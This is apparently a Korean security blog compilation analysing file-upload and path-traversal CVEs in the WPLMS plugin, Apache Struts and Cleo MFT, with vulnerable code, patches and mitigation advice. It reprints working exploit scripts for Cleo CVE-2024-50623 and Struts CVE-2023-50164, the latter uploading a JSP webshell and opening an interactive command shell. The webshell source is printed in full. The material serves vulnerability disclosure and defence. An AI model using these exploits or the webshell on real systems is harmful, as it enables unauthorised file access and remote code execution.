1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. 취약점

2.1 CVE-2024-56046 [2][3]

[사진 1] CVE-2024-56046

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 10.0)

영향받는 버전 : WPLMS <= 1.9.9

 

- includes/vibe-shortcodes/shortcodes.php의 wplms_form_uploader_plupload()에 취약점 존재
> Line9 : $_REQUEST["name"] 값을 우선적으로 $fileName에 할당하며, 해당 값이 없을 경우 $_FILES["file"]["name"] 값을 사용
> Line17 : $fileName은 파일 저장 경로를 결정하는데 사용됨

 

- name 파라미터는 사용자 요청으로부터 추출 (Line9)
> 해당 값에 대한 검증 없이 사용하여 악의적인 파일(Ex. "../../../attack.php")을 사용해 파일을 업로드할 수 있음

 

- $fileName을 기반으로 서버의 특정 경로에 저장
> 해당 값에 대한 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/vibe-shortcodes/shortcodes.php, function wplms_form_uploader_plupload()
1     function wplms_form_uploader_plupload(){
2       check_ajax_referer('wplms_form_uploader_plupload');
3     
4       if (empty($_FILES) || $_FILES['file']['error']) {
5           die('{"OK": 0, "info": "Failed to move uploaded file."}');
6       }
7       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
8       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
9       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
10     
11       $upload_dir_base = wp_upload_dir();
12       $folderPath = $upload_dir_base['basedir']."/wplms_form_uploader";
13       if(function_exists('is_dir') && !is_dir($folderPath)){
14           if(function_exists('mkdir')) 
15               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
16       }
17       $filePath = $folderPath."/$fileName";
18     
19       // Open temp file
20       if($chunk == 0) 
21           $perm = "wb" ;
22       else 
23           $perm = "ab";
24     
25       $out = @fopen("{$filePath}.part",$perm );
26     
27       if ($out) {
28         // Read binary input stream and append it to temp file
29         $in = @fopen($_FILES['file']['tmp_name'], "rb");
30         
31         if ($in) {
32           while ($buff = fread($in, 4096))
33             fwrite($out, $buff);
34         } else
35           die('{"OK": 0, "info": "Failed to open input stream."}');
36         
37         @fclose($in);
38         @fclose($out);
39         
40         @unlink($_FILES['file']['tmp_name']);
41       } else
42         die('{"OK": 0, "info": "Failed to open output stream."}');
43     
44       // Check if file has been uploaded
45       if (!$chunks || $chunk == $chunks - 1) {
46         // Strip the temp .part suffix off
47           rename("{$filePath}.part", $filePath);
48           
49       }
50       die('{"OK": 1, "info": "Upload successful."}');
51       exit;
52     }

 

2.2 CVE-2024-56050 [4][5]

[사진 2] CVE-2024-56050

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/vibe-shortcodes/upload_handler.php의 wp_ajax_zip_upload()에 취약점 존재
> Line4 ~ Line8 : 사용자 요청에서 값을 추출해 변수 할당
> Line18 ~ Line19 : Zip 파일 내 다른 파일이 있는 경우 extractZip()을 통해 파일 내 모든 내용을 추출
> 사용자 요청에서 추출한 값을 검증없이 사용하여 취약점 발생

 

extractZip()
> Line6 : extractTo()를 사용해 Zip 파일내 모든 파일을 $target 디렉터리에 추출
파일에 대한 검증없이 추출되어 취약점 발생
> attack.php 등의 악의적 파일을 포함한 Zip 파일을 업로드할 수 있는 문제 발생

includes/vibe-shortcodes/upload_handler.php, function wp_ajax_zip_upload()
1     function wp_ajax_zip_upload(){
2     $arr = array();
3     
4     $file = $_FILES['uploadedfile']['tmp_name'];
5     $dir = explode(".",$_FILES['uploadedfile']['name']);
6     $dir[0] = str_replace(" ","_",$dir[0]);
7     $target = $this->getUploadsPath().$dir[0];
8     $index = count($dir) -1;
9     
10     if (!isset($dir[$index]) || $dir[$index] != "zip")
11     $arr[0] = __('The Upload file must be zip archive','wplms');
12     else{
13     while(file_exists($target)){
14     $r = rand(1,10);
15     $target .= $r;
16     $dir[0] .= $r;
17     }
18     if (!empty($file))
19     $arr = $this->extractZip($file,$target,$dir[0]);
20     else
21     $arr[0] = __('File too big','wplms');
22     }
23     echo json_encode($arr);
24     die();
25     }

includes/vibe-shortcodes/upload_handler.php, function extractZip()
1     function extractZip($fileName,$target,$dir){
2     $arr = array();
3     $zip = new ZipArchive;
4     $res = $zip->open($fileName);
5     if ($res === TRUE) {
6     $zip->extractTo($target);
7     $zip->close();
8     $file = $this->getFile($target);
9     ;
10     if($file){
11     $arr[0] = 'uploaded'; 
12     $arr[1] = $this->getUploadsUrl().$dir."/".$file; 
13     $arr[2] = $dir;
14     $arr[3] =$file;
15     $arr[4] = $this->getUploadsPath().$dir; 
16     }else{
17     $arr[0] = __('Please upload zip file, Index.html file not found in package','wplms').$target.print_r($file);
18     $this->rrmdir($target);
19     }
20     }else{
21     $arr[0] = __('Upload failed !','wplms');;
22     }
23     return  $arr;
24     }

 

2.3 CVE-2024-56052 [6][7]

[사진 3] CVE-2024-56052

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/assignments/assignments.php의 wplms_assignment_plupload()에 취약점 존재
> Line2 ~ Line4 : WordPress 내에서 생성된 요청인지와 로그인 유무를 검증
> Line18 : $user_id 및 $assignment_id를 기반으로 $folderPath 생성

 

- $assignment_id에 대한 유효성 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/assignments/assignments.php, function wplms_assignment_plupload()
1     function wplms_assignment_plupload(){
2       check_ajax_referer('wplms_assignment_plupload');
3       if(!is_user_logged_in())
4           die('user not logged in');
5     
6       $user_id = get_current_user_id();
7       
8       if (empty($_FILES) || $_FILES['file']['error']) {
9         die('{"OK": 0, "info": "Failed to move uploaded file."}');
10       }
11     
12       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
13       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
14       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
15       
16       $upload_dir_base = wp_upload_dir();
17       $assignment_id = $_POST['assignment_id'];
18       $folderPath = $upload_dir_base['basedir']."/wplms_assignments_folder/".$user_id.'/'.$assignment_id;
19       if(function_exists('is_dir') && !is_dir($folderPath)){
20           if(function_exists('mkdir')) 
21               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
22       }
23     
24     
25       $filePath = $folderPath."/$fileName";
26         /*if(function_exists('file_exists') && file_exists($filePath)){
27           echo __(' Chunks upload error ','wplms'). $fileName.__(' already exists.Please rename your file and try again ','wplms');
28           die();
29         }*/
30       // Open temp file
31       if($chunk == 0) $perm = "wb" ;
32       else $perm = "ab";
33     
34       $out = @fopen("{$filePath}.part",$perm );
35     
36       if ($out) {
37         // Read binary input stream and append it to temp file
38         $in = @fopen($_FILES['file']['tmp_name'], "rb");
39         
40         if ($in) {
41           while ($buff = fread($in, 4096))
42             fwrite($out, $buff);
43         } else
44           die('{"OK": 0, "info": "Failed to open input stream."}');
45         
46         @fclose($in);
47         @fclose($out);
48         
49         @unlink($_FILES['file']['tmp_name']);
50       } else
51         die('{"OK": 0, "info": "Failed to open output stream."}');
52         
53         
54       // Check if file has been uploaded
55       if (!$chunks || $chunk == $chunks - 1) {
56         // Strip the temp .part suffix off
57           rename("{$filePath}.part", $filePath);
58           
59       }
60       die('{"OK": 1, "info": "Upload successful."}');
61       exit;
62     }

3. 대응방안

- 벤더사 제공 업데이트 적용 [8][9]
> WPLMS Plugin 1.9.9.5.3

> 파일 이름과 유형을 확인하여 업로드할 수 있는 파일을 제한하는 패치 적용
> 영향을 받는 기능에 대한 추가 권한 확인을 구현하거나 영향을 받는 코드 제거

4. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56046
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-unauthenticated-arbitrary-file-upload-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-56050
[5] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-arbitrary-file-upload-vulnerability
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-56052
[7] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-student-arbitrary-file-upload-vulnerability
[8] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[9] https://asec.ahnlab.com/ko/85311/

1. CVE-2024-53677

[사진 1] CVE-2024-53677 [1]

- Apache Struts의 파일 업로드 로직의 결함으로 인한 임의 파일 업로드 취약점 (CVSS: 9.5)
> 현재 공격에 활발히 악용되는 중으로 신속한 패치 등 조치 권고

영향받는 버전
- 2.0.0 이상~2.3.37 이하 (EoL)
- 2.5.0 이상~2.5.33 이하 (EoL)
- 6.0.0 이상~6.3.0.2 이하

 

FileUploadInterceptor를 사용하는 경우만 취약점에 영향을 받음 [2]
> 공격자는 파일 업로드 매개변수를 조작하여 경로 탐색을 활성화할 수음
> 어떤 상황에서는 원격 코드 실행을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있음

※ 상세 내용 확인되지 않음

 

- 벤더사 제공 업데이트 적용 [3][4]

> 새로운 Action File Upload Mechanism으로 마이그레이션 권고 (이전 버전과의 호환성이 없기 때문에 새로운 코드 리팩토링 필요)

제품명 영향받는 버전 해결 버전
Apache Struts 2.0.0 이상~2.3.37 이하 (EoL)
2.5.0 이상~2.5.33 이하 (EoL)
6.0.0 이상~6.3.0.2 이하
6.4.0 이상

2. PoC

- 파일 업로드 기능을 사용해 ../를 포함한 임의의 파일 업로드 시도 [5]

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-53677
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://cwiki.apache.org/confluence/display/WW/S2-067
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71607&menuNo=205020
[5] https://github.com/TAM-K592/CVE-2024-53677-S2-067/tree/ALOK
[6] https://securityonline.info/hackers-exploit-critical-apache-struts-rce-flaw-cve-2024-53677-after-poc-exploit-release/#google_vignette
[7] https://blog.qualys.com/vulnerabilities-threat-research/2024/12/16/critical-apache-struts-file-upload-vulnerability-cve-2024-53677-risks-implications-and-enterprise-countermeasures
[8] https://www.cyber.gc.ca/en/alerts-advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2#fn2
[9] https://www.bleepingcomputer.com/news/security/new-critical-apache-struts-flaw-exploited-to-find-vulnerable-servers/
[10] https://thehackernews.com/2024/12/patch-alert-critical-apache-struts-flaw.html

1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164 [1]

 

- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)

- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨

영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음

 

2.1 취약점 상세 [3][4][5][6]

- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출

> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]

> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨

[사진 2]  Upload 클래스

 

- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송

> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생

> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐

 

[사진 3] 조작된 POST 요청 전송

 

2.2 PoC [7]

- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

 

- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String output = "";
    if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd, null, null);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s + "\n";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
<%=output %>

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8]

> 업로드 후 임시 파일이 삭제되도록 보장

> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경

제품명 영향받는 버전 해결 버전
Struts 6.0.0 ~ 6.3.0 6.3.0.2
2.0.0 ~ 2.3.37(EOL)
2.5.0 ~ 2.5.32
2.5.33

 

- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)

- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1

 

======================================내용추가===============================================

1. 취약점 개요

- Apache Struct2 프레임워크를 사용하여 개발된 사이트는 기본적으로 ".action" 확장자 형태로 실행

